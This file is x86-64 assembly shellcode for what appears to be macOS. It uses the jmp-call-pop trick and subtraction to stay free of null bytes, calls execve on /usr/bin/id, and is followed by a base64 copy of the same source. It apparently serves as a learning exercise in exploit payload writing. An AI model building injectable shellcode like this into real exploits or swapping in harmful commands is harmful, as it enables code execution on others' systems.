BITS 64
 
section .text
global start
start:
  jmp     string
exec:
  pop      rdi             ; grab /usr/bin/id's address
  mov      r9, 0x311114c   ; = syscall + 0x11111111
  mov      r8, 0x1111111   ; using subtraction to get it null free
  sub      r9, r8          ; = 0x200003b, execve syscall
  mov      rax, r9         ; put it in rax for the syscall
  xor      rdx, rdx        ; nulls to delimit the binary string
  push     rdx             ; push nulls
  push     rdi             ; then push string
  mov      rsi, rsp        ; idk what this does
  syscall                  ; BAM!! 
string:
  call      exec           ; call exec so we have the ret address pointing to the string
  db       '/usr/bin/id'   ; if the string's not on the end of the prog, you get bus errors

QklUUyA2NAoKc2VjdGlvbiAudGV4dApnbG9iYWwgc3RhcnQKc3RhcnQ6CiAgam1wICAgICBzdHJpbmcKZXhlYzoKICBwb3AgICAgICByZGkgICAgICAgICAgICAgOyBncmFiIC91c3IvYmluL2lkJ3MgYWRkcmVzcwogIG1vdiAgICAgIHI5LCAweDMxMTExNGMgICA7ID0gc3lzY2FsbCArIDB4MTExMTExMTEKICBtb3YgICAgICByOCwgMHgxMTExMTExICAgOyB1c2luZyBzdWJ0cmFjdGlvbiB0byBnZXQgaXQgbnVsbCBmcmVlCiAgc3ViICAgICAgcjksIHI4ICAgICAgICAgIDsgPSAweDIwMDAwM2IsIGV4ZWN2ZSBzeXNjYWxsCiAgbW92ICAgICAgcmF4LCByOSAgICAgICAgIDsgcHV0IGl0IGluIHJheCBmb3IgdGhlIHN5c2NhbGwKICB4b3IgICAgICByZHgsIHJkeCAgICAgICAgOyBudWxscyB0byBkZWxpbWl0IHRoZSBiaW5hcnkgc3RyaW5nCiAgcHVzaCAgICAgcmR4ICAgICAgICAgICAgIDsgcHVzaCBudWxscwogIHB1c2ggICAgIHJkaSAgICAgICAgICAgICA7IHRoZW4gcHVzaCBzdHJpbmcKICBtb3YgICAgICByc2ksIHJzcCAgICAgICAgOyBpZGsgd2hhdCB0aGlzIGRvZXMKICBzeXNjYWxsICAgICAgICAgICAgICAgICAgOyBCQU0hISAKc3RyaW5nOgogIGNhbGwgICAgICBleGVjICAgICAgICAgICA7IGNhbGwgZXhlYyBzbyB3ZSBoYXZlIHRoZSByZXQgYWRkcmVzcyBwb2ludGluZyB0byB0aGUgc3RyaW5nCiAgZGIgICAgICAgJy91c3IvYmluL2lkJyAgIDsgaWYgdGhlIHN0cmluZydzIG5vdCBvbiB0aGUgZW5kIG9mIHRoZSBwcm9nLCB5b3UgZ2V0IGJ1cyBlcnJvcnM=